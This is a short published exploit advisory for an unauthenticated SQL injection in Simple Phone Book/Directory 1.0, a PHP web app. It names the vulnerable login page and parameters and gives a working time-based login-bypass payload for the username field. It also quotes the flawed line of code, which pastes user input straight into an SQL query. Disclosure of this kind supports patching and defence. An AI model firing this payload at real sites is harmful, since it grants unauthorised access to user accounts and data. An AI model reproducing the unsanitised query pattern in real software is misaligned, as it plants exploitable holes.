Simple Phone Book/Directory 1.0 SQL Injection

`# Exploit Title: Simple Phone book/directory 1.0 - 'Username' SQL Injection (Unauthenticated)  
# Date: 21/08/2021  
# Exploit Author: Justin White  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/13011/phone-bookphone-directory.html  
# Version: 1.0  
# Testeted on: Linux (Ubuntu 20.04) using LAMPP  
  
## SQL Injection  
  
# Vulnerable page  
http://localhost/PhoneBook/index.php  
  
# Vulnerable paramater   
username1 & password  
  
# POC  
Username = ' or sleep(5)='-- -  
Password = ' '  
  
Using these to login will have the webapp sleep for 5 seconds, then you will be logged in as "' or sleep(5)='-- -"  
  
# Vulnerable Code  
index.php line 13  
$sql = mysqli_query($dbcon,"SELECT * FROM userdetails WHERE username = '$username' AND password = '$password'");  
`